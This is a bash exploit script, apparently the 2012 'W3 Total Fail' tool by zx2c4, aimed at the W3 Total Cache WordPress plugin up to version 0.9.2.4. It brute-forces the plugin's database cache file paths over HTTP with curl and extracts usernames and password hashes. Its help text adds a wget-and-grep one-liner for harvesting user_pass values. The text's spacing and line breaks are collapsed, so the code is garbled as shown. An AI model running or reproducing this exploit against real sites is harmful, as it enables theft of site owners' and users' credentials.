#!/bin/bash# (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.## |---------------|# | W3 Total Fail |# | by zx2c4 |# |---------------|## For more info, see built-in help text.# Most up to date version is available at: http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh## This affects W3 Total Cache <= 0.9.2.4.set -f
printf"\033[1m\033[31m"echo"<===== W3 Total Fail =====>"echo"< >"echo"< by zx2c4 >"echo"< >"echo"<=========================>"echoechoprintf"\033[0m\033[1m"echo"W3 Total Fail works by attempting to guess SQL queries that might"echo"contain important password hashes. It walks through"printf"\033[0m"echo" http://\$wordpress/wp-content/w3tc/dbcache/..."printf"\033[1m"echo"until it's found the right files. If this directory has directory"echo"index listings turned on, you might have more luck downloading the"echo"entire folder and grepping locally for patterns, like so:"printf"\033[0m"echo" \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"echo" \$ grep -Ra user_pass ."printf"\033[1m"echo"If directory listings are not available, then this is the tool for"echo"you, as it will try to brute force possible w3tc keys. It will try"echo"25 user ids and 25 site ids. Adjust the script for more or less range."echoecho"Enjoy!"echoecho"- zx2c4"echo"Dec 24, 2012"echoprintf"\033[0m"printf"\033[0m\033[36m"echo"Usage: $0 HOST [URLBASE] [DBPREFIX]"echoecho"HOST should be the name of the host that is stored by wordpress. It"echo"may be the actual host name of the server, or it might be something"echo"different, depending on how wordpress is configured."echo"Example: blog.zx2c4.com"echoecho"URLBASE is the base URL of the wordpress blog which are prefixed in"echo"forming HTTP requests. If not specified it will default to http://\$HOST"echo"Example: http://blog.zx2c4.com or https://someblahblasite.com/my_blog"echoecho"DBPREFIX is the wordpress prefix used for database table names. It"echo"is often \"wp_\", which DBPREFIX defaults to if this argument is"echo"unspecified. Some wordpress installations will use an empty prefix,"echo"and others use a site-specific prefix. Most, however, will use the"echo"default."echo"Example: wp_"echoprintf"\033[0m"if[$# -lt 1 ];thenecho"Error: HOST is a required argument."exit 1
fihost="$1"urlbase="${2:-http://$host}"db_prefix="$3"[$# -lt 3 ]&&db_prefix="wp_"for site_id in {1..25} 0;dofor user_id in {1..25};doquery="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"url="$urlbase/wp-content/w3tc/dbcache/$hash_path"printf"\033[33m"echo -n "Attempting"printf"\033[0m"echo" $url..."
curl -s "$url"| tail -c +5 | tr -d '\n'| sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'done;done